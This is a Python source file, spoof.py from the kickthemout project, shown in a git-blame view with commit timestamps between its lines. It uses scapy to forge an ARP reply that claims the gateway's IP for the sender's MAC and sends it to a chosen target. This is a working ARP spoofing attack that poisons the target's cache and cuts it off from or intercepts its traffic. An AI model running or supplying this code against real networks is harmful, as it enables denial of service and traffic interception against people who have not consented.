kickthemout/spoof.py

44 lines
881 B
Python
Raw Normal View History

2016-12-31 01:41:34 +01:00
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# spoof.py
# authors: k4m4 & xdavidhu
"""
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
import sys, logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
2016-12-27 23:45:19 +01:00
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
2017-01-01 15:25:46 +01:00
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
2016-12-31 01:41:34 +01:00
ether = Ether()
ether.src = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = ARP()
arp.psrc = gateway_ip
arp.hwsrc = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
ether = ether
ether.src = my_mac
ether.dst = target_mac
2016-12-27 23:45:19 +01:00
arp.op = 2
2017-01-01 15:25:46 +01:00
2016-12-31 01:41:34 +01:00
def broadcastPacket():
2017-01-01 15:25:46 +01:00
packet = ether / arp
sendp(x=packet, verbose=False)
2016-12-31 01:41:34 +01:00
broadcastPacket()